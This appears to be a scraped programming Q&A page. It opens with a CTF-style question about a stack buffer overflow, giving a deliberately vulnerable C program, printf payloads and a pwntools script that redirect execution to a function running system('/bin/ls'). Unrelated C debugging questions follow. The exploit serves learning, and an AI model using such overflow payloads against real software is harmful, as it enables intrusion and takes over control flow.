Innocent input breaks buffer overflow exploit? - c

Below is a simple program, vulnerable to buffer overflow; it is as similar as I could make it to a bigger (CTF) program I was working on and I "extracted" (re-wrote) only that piece where the bug lies.
When the commented for loop is not in the binary, the exploit works; when the loop is in the binary, although it does nothing at all, the exploit does not work.
This is how I run the program without and with the for loop respectively:
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out
printf 'a\na\na\na\na\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out
("A"*88) where 0x0040067b is unreachable() (after the prologue).
unreachable is at the very beginning, so the address remains the same both when the for loop is or is not commented out.
Then I wrote this script:
#!/usr/bin/env python
from pwn import *
s = process('./own_wumpus')
for i in range(5):
s.sendline('a')
payload = 'A'*88+'\x7b\x06\x40\x00\x00\x00\x00\x00'
s.sendline(payload)
s.interactive()
to do exactly what I think printf, cat and everything else I tried would do, but this instead works perfectly (ls executed).
This is the program.
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
char global[0x46];
void unreachable() {
system("/bin/ls");
exit(0);
}
char get_char() {
char c;
printf("%s\n> ", "Action");
do {
scanf("%c", &c);
} while (c == '\n');
return toupper(c);
}
int f(int fd, int max_bytes, char *buf) {
int bytes_read = 0;
int from_fd = fd;
int total_read = 0;
int max_bytes_to_read = max_bytes;
char *p = buf;
for (total_read = 0; total_read < max_bytes_to_read; total_read += bytes_read) {
bytes_read = read(from_fd, p, 1);
if (bytes_read <= 0) exit(0);
if (*p == '\n') break;
p += bytes_read;
}
return total_read;
}
int _main() {
char buf[0x46];
//for (int i = 0; i != 5; ++i) {
// *buf = get_char();
//}
memset(buf, 0, sizeof(buf));
f(0, 0xc8, buf); // intended
strncpy(global, buf, 0x45);
return 0;
}
int main() {
int false = 0;
printf(">");
if (false) unreachable();
return _main();
}
Compile with:
gcc source.c -fno-stack-protector -no-pie -fno-plt -fno-pic -Wl,-z,norelro && strip a.out
Expected output: ls executed every time.
Actual output: ls executed only with pwntools (python script above); everything else fails. When the for loop is commented out, ls is executed also with the printf A*88+address above.
My first thought was on pipes, but it would not explain the differences with the buffers with and without a's. (Even weirder, in the actual program it worked with gdb and the python script, but not with cat/printf.)

Related

Why doesn't the code run with a test.in file created by Sublime TextEditor

This was a piece of code I have written for my assignment, some of the weird code design are not controllable by me. I am currently writing these on MacOS.
file1
#include <stdio.h>
extern int read_palindrome();
int main()
{
if (read_palindrome()) printf("input is a palindrome");
else printf("input is not a palindrome");
return 0;
}
file2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_palindrome2(char *, int);
// malloc() will be used as usual to set aside an initial memory
// The entire input will be read gradually by characters using getchar()
// In the event we require more memory than what we have previously,
// use realloc() to increase memory size dynamically
int read_palindrome() {
unsigned int len_max = 128;
unsigned int current_size = 0;
char *pStr = malloc(len_max);
current_size = len_max;
int i = 0;
int c = EOF;
if (pStr == NULL) {
return -1;
}
while (( c = getchar() ) != '\n') {
pStr[i] = (char)c;
i++;
if(i == current_size) {
current_size += len_max;
char *tmp = realloc(pStr, current_size);
if (tmp == NULL) {
free(pStr);
return -1;
}
pStr = tmp;
}
}
int retval = check_palindrome2(pStr,i);
free(pStr);
return retval;
}
int check_palindrome2(char *s, int length) {
for (int i = 0; i < length / 2; i++) {
if (s[i] != s[length-i-1])
return 0;
}
return 1;
}
I would think this code works except for empty files, which will cause my program to continuously expect input and not terminate. However, I realised when using Sublime Text, creating a test.in file without pressing "Enter" somehow displays the "non-terminating" behaviour as well, while typing something in vim without pressing "Enter" for a newline still allows the code to work. Does anyone know the reason behind this phenomenon?

segmentation fault core dumped Issue with C

I know this question has been asked before and I think that I understand that having a segmentation fault means that I have a bad pointer somewhere. Having said that I would really appreciate help trying to figure out where my error is. i have a header file and two source files they are
Header:
#ifndef LINEHOLDER_H_INCLUDED
#define LINEHOLDER_H_INCLUDED
#define DEFAULT 100
#define MAXLEN 256
#define MAXLINES 1024
int readlines(char *lineptr[], int maxlines);
unsigned getline2(char *s, int size);
void printlines(char **lineptr, int size, int numlines);
#endif // LINEHOLDER_H_INCLUDED
The first Source file is :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "lineholder.h"
int main(int argc, char *argv[])
{
char *lineptr[MAXLEN]; /* input lines */
int linecount = 0;
int tail_count = 0;
int i;
for (i = 1 ; i < argc ; ++i)
{
char *arg = argv[i];
if (strcmp(arg, "-n") == 0);
{
char *endptr;
tail_count = strtol(arg, &endptr, 10);
if (*endptr == '\0')
continue;
fprintf(stderr, "warning , argument `%d' is not an integer\n", 1 + i);
}
}
if (!tail_count)
tail_count = 10;
if ((linecount = readlines(lineptr,MAXLINES)) >= 0)
printlines(lineptr, linecount,tail_count);
return 0;
}
The Second Source file is:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "lineholder.h"
unsigned getline2(char *s, int size);
int readlines(char *lineptr[], int maxlines)
{
int len, nlines;
char *p, line[MAXLEN];
nlines = 0;
while ((len = getline2(line, MAXLEN)) > 0) {
p = malloc(len);
if (nlines >= maxlines || p == NULL) {
return -1;
} else {
// line[len-1] = '\n';
if ((len > 0) && line[len-1] == '\n') line[len-1] = '\n';
strcpy(p,line);
lineptr[nlines++] = p;
}
}
return nlines;
}
void printlines(char **lineptr, int size, int numlines)
{
/* 72 lines, we start on line 62 */
int print_start;
int line;
print_start = size - numlines;
for (line=print_start; line < size; line++)
printf("%s", lineptr[line]);
}
unsigned getline2(char *s, int size)
{
int i, c;
for (i=0; i<size-1 && (c=getchar()) != EOF && c != '\n'; ++i)
*s++ = c;
if (c == '\n') {
*s++ = c;
++i;
}
*s = '\0';
return i;
}
After building it out with a makefile I will get an executable called tails
When I run ./tails test.out I receive the segmentation fault core dumped error. Can anyone help me figure out where I am trying to allocate memory where I am not supposed to?
thanks
I updated the code thanks to the help from you guys but my problem still exists.
You are incrementing the pointer twice, because you increment it again in strcmp(*argv++, "-n"), in the second case you might be reading beyond bounds in strtol(*argv, NULL, 10).
while (*++argv) { /* First time you increment the pointer */
if (strcmp(*argv++,"-n") == 0); /* You do it again */
/* If *++argv was `NULL' you went after it anyway
* so this is undefined behavior
*/
tail_count = strtol(*argv, NULL, 10);
And this is not necessary
while (*++argv)
you can youse argc for that
int i;
for (i = 1 ; i < argc ; ++i)
{
char *arg = argv[i];
if (strcmp(arg, "-n") == 0);
{
char *endptr;
tail_count = strtol(arg, &endptr, 10);
if (*endptr == '\0')
continue;
fprintf(stderr, "warning , argument `%d' is not an integer\n", 1 + i);
}
}
the argc parameter in main() contiains the number of command line arguments passed to the program, counting of course argv[0] which is the name of the program itself.
Also, the signature of the functions recieving lineptr is wrong
void printlines(char **lineptr, int size, int numlines)
should be
void printlines(char *lineptr[MAXLEN], int size, int numlines)
A segmentation fault comes about when your application tries to access memory for which it does not have permission. In such a case, the operating system will generate a SIGSEGV. This will normally terminate your application and do a core dump.
By default, core dumps are turned off or severely limited to prevent one from filling up one's disk space.
They can be easily turned on using: ulimit -c unlimted which will allow the creation of core file with unlimited size. Core file are typically created int the current working directory.
Provided you compiled your application with the -g (debug symbol) flag, you can now find out where the problem was by running:
gdb
To get a callstack , type the bt command into gdb.
After getline2() reads the last '\n', the next time it is called it may return with a 0 as that '\n' was the last character in the file.
while ((len = getline2(line, MAXLEN)) > 0) {
p = malloc(len);
if (... || p == NULL) {
malloc(0) might not return NULL and so code continues to attempt line[-1] = '\n'; which is undefined behavior.
...
line[len-1] = '\n';
Also the last line may not end with a '\n' in which case line[len-1] = '\n'; lops off a valuable `char. Better to defensively code
// line[len-1] = '\n';
if ((len > 0) && line[len-1] == '\n') line[len-1] = '\n';

System call execve does not return with ls function

I am asked to implement my own shell for an Operating System class.
My shell runs every commands fine, except ls that won't return on execve, which is weird because cd, cp, mv, and all the others main commands are returning okay.
ls is still displaying the right output (the list of files in the folder), but just keep running after (execve hangs and needs a carriage return to finish).
All the options like -l, -a are also working correctly, with the same issue.
EDIT: I modified my code in order to completely avoid any memory leaks (I used valgrind to track them), added some comments so you can see what's going on, but ls is still not returning. Here is the updated version:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/wait.h>
#define MAXPATHLEN 40
#define MAXSIZE 100
#define MAXARGS 10
static char cwd[MAXPATHLEN];
typedef void (*sighandler_t)(int);
void handle_signal(int signo);
void parse_command(char *command, char **arguments);
int main(int argc, char *argv[], char *envp[])
{
int status;
char *command;
char **arguments;
signal(SIGINT, SIG_IGN);
signal(SIGINT, handle_signal);
while(1) {
//Allocating memory
command = calloc(MAXSIZE, sizeof(char));
arguments = calloc(MAXARGS, sizeof(char *));
//Print shell name and cwd
getcwd(cwd,MAXPATHLEN);
printf("[MY_SHELL]:%s$ ", cwd);
parse_command(command, arguments);
//Displays command and arguments
printf("Command is %s\n", command);
int i;
for(i=0; arguments[i] != NULL; ++i){
printf("Argument %d is %s\n", i, arguments[i]);
}
//Fork exec code
if (fork() != 0){
waitpid(1, &status, 0);
} else{
execve(command, arguments, 0);
}
free(command);
for (i=0; arguments[i] != NULL; ++i) {
free(arguments[i]);
}
free(arguments);
}
return 0;
}
void handle_signal(int signo)
{
getcwd(cwd,MAXPATHLEN);
printf("\n[MY_SHELL]:%s$ ", cwd);
fflush(stdout);
}
void parse_command(char *command, char **arguments){
char buf[MAXSIZE];
char env[MAXPATHLEN];
char *tmp;
//Initiate array values to avoid buffer overflows
memset(buf, 0, sizeof(buf));
memset(env, 0, sizeof(env));
//Read command and put it in a buffer
char c = '\0';
int N = 0; //Number of chars in input - shouldn't be more than MAXSIZE
while(1) {
c = getchar();
if (c == '\n')
break;
else{
if (N == MAXSIZE)
break;
buf[N] = c;
}
++N;
}
//Extract command name (e.g "ls"), fetch path to command, append it to command name
tmp = strtok(buf, " ");
strcpy(env, "/bin/");
size_t len1 = strlen(env);
size_t len2 = strlen(tmp);
memcpy(command, env, len1);
memcpy(command + len1, tmp, len2);
//Extracts arguments array: arguments[0] is path+command name
arguments[0] = calloc(strlen(command) + 1, sizeof(char));
strcpy(arguments[0], command);
int i = 1;
while(1){
tmp = strtok(NULL, " ");
if (tmp == NULL)
break;
else{
arguments[i] = calloc(strlen(tmp) + 1, sizeof(char));
strcpy(arguments[i],tmp);
++i;
}
}
}
EDIT 2: This seems to have something to do with STDIN (or STDOUT): similarily than ls, cat makes execve hangs after executing, and I need to carriage return to have my shell line [MY_SHELL]current_working_directory$: line back. Any thoughts on why it is the case ?
In your code, in parse_command() function, you're doing
bzero(arguments, sizeof(char) * MAXARGS);
but at that point of time, arguments is not initialized or allocated memory. So essentially you're trying to write into uninitialized memory. This invokes undefined behaviour.
Same like that, without allocating memory to arguments, you're accessing arguments[0].
Note: As I already mentioned in my comments, do not cast the return value of malloc() and family.
C uses pass by value. That means that after the call to parse_command the value of arguments will still be undefined, since any assignments were made to the local copy. Instead of becoming a three-star programmer I would recommend that you have parse_command return the argument list instead:
char **parse_command(char *command){
char **arguments = malloc(...);
...
return arguments;
}
And in main:
arguments = parse_command(command);
Also look at Sourav Ghosh's answer as he points out some other bugs.

How to read a line from a read-only FIFO in C?

I've got a problem reading a couple of lines from a read-only FIFO. In particular, I have to read two lines — a number n, followed by a \n and a string str — and my C program should write str in a write-only FIFO for n times. This is my attempt.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
char *readline(int fd);
int main(int argc, char** argv) {
int in = open(argv[1], O_RDONLY);
mkfifo(argv[2], 0666);
int out = open(argv[2] ,O_WRONLY);
char *line = (char *) malloc(50);
int n;
while (1) {
sscanf(readline(in), "%d", &n);
strcpy(line, readline(in));
int i;
for (i = 0; i < n; i++) {
write(out, line, strlen(line));
write(out, "\n", 1);
}
}
close(in);
close(out);
return 0;
}
char *readline(int fd) {
char *c = (char *) malloc(1);
char line[50];
while (read(fd, c, 1) != 0) {
if (strcmp(c, "\n") == 0) {
break;
}
strcat(line, c);
}
return line;
}
The code is working properly, but it puts a random number of newlines after the last string repetition. Also, this number changes at each execution.
Could someone please give me any help?
Besides the facts that reading character wise and and comparing two characters using "string" comparsion both is far from being efficient, readline() returns a pointer to memory being declared local to readline(), that is line[50] The memory gets deallocated as soon as readline() returns, so accessing it afterwards invokes undefine behaviour.
One possibility to fix this is to declare the buffer to read the line into outside readline() and pass a reference to it down like so:
char * readline(int fd, char * line, size_t size)
{
if ((NULL != line) && (0 < size))
{
char c = 0;
size_t i = 0;
while (read(fd, &c, 1) >0)
{
if ('\n' == c) or (size < i) {
break;
}
line[i] = c;
++i;
}
line [i] = 0;
}
return line;
}
And then call it like this:
char * readline(int fd, char * line, size_t size);
int main(void)
{
...
char line[50] = "";
...
... readline(in, line, sizeof(line) - 1) ...
I have not tried running your code, but in your readline function you have not terminated the line with null ('\0') character. once you hit '\n' character you just breaking the while loop and returning the string line. Try adding '\0' character before returning from the function readline.
Click here for more info.
Your code did not work on my machine, and I'd say you're lucky to get any meaningful results at all.
Here are some problems to consider:
readline returns a locally defined static char buffer (line), which will be destroyed when the function ends and the memory it once occupied will be free to be overwritten by other operations.
If line was not set to null bytes on allocation, strcat would treat its garbage values as characters, and could possibly try to write after its end.
You allocate a 1-byte buffer (c), I suspect, just because you need a char* in read. This is unnecessary (see the code below). What's worse, you do not deallocate it before readline exits, and so it leaks memory.
The while(1) loop would re-read the file and re-print it to the output fifo until the end of time.
You're using some "heavy artillery" - namely, strcat and memory allocation - where there are simpler approaches.
Last, some C standard versions may require that you declare all your variables before using them. See this question.
And here's how I modified your code. Note that, if the second line is longer than 50 characters, this code may also not behave well. There are techniques around the buffer limit, but I don't use any in this example:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
char *readline(int fd, char * buffer);
int main(int argc, char** argv) {
int in = open(argv[1], O_RDONLY);
int out;
int n;
int i;
char line[50];
memset(line, 0, 50);
mkfifo(argv[2], 0666);
out = open(argv[2] ,O_WRONLY);
sscanf(readline(in, line), "%d", &n);
strcpy(line, readline(in, line));
for (i = 0; i < n; i++) {
write(out, line, strlen(line));
write(out, "\n", 1);
}
close(in);
close(out);
return 0;
}
char *readline(int fd, char * buffer) {
char c;
int counter = 0;
while (read(fd, &c, 1) != 0) {
if (c == '\n') {
break;
}
buffer[counter++] = c;
}
return buffer;
}
This works on my box as you described. Compiled with GCC 4.8.2 .

how do "system()" without message on stderr on SunOS

I'm trying to figure out how to do a system() function call (in C) on SunOS and NOT have anything printed to stderr (or stdout). Currently, the following code compiles/runs on Linux, OSX, HP-UX, and SunOS. On all but SunOS, I get a nice output of something like:
i = 32512 (0x7f00); wexitstatus = 127
But, on SunOS I get:
sh: unknowncommand: not found
i = 256 (0x100); wexitstatus = 1
...that extra "sh:" line is annoying :)
(My goal: quiet programmatic determination of whether or not I can do "cc" and/or "gcc" commands.)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
int main (int argc, char **argv)
{
int i;
char buf [1000];
strcpy (buf, "unknowncommand -c foo.c > /dev/null 2>&1");
i = system (buf);
printf ("i = %d (0x%x); wexitstatus = %d\n", i, i, WEXITSTATUS (i));
return 0;
}
The which command will find an executable that lives in your PATH variable.
which gcc
which cc
you can use this in your system call.
This is a poor man's version of which:
// performs task similar to which command
// mywhich.c
char **split(char **result, char *w, const char *src, const char *delim)
{
char *p;
w=strdup(src);
int i=0;
for(p=strtok(w, delim); p!=NULL; p=strtok(NULL, delim))
{
result[i++]=p;
result[i]=NULL;
}
return result;
}
char *detect_cc(char *cc, char **argv)
{
char search[PATH_MAX]={0x0};
char resolved[PATH_MAX]={0x0};
char *w=NULL;
int i=0,j=0;
char *result[1024]={NULL}; // set 1024 to appropriate value
char *PATH=getenv("PATH");
*cc=0x0;
split(result, w, PATH, ":");
for(i=0 ; !*cc && result[i]!=NULL; i++)
{
for(j=0; argv[j]!=NULL; j++)
{
sprintf(search,"%s/%s", result[i], argv[j]);
if(realpath(search, resolved)!=NULL)
{
if(access(resolved, X_OK)==0)
strcpy(cc, resolved);
}
}
}
free(w);
return cc;
}
int main(int argc, char **argv)
{
char cc[PATH_MAX]={0x0};
argv++;
detect_cc(cc, argv);
if(*cc)
printf("found: %s\n", cc);
else
printf("Not found in PATH\n");
return 0;
}
usage:
./mywhich gcc cc foo
It stops on the first file found. Doctor the code to suppress messages as you see fit.
You could use popen() instead of system() and explicitly capture the output of the process.
Here is one simple way to drop the output:
strcpy (buf, "sh -c 'unknowncommand -c foo.c' > /dev/null 2>&1");
i = system (buf);

Resources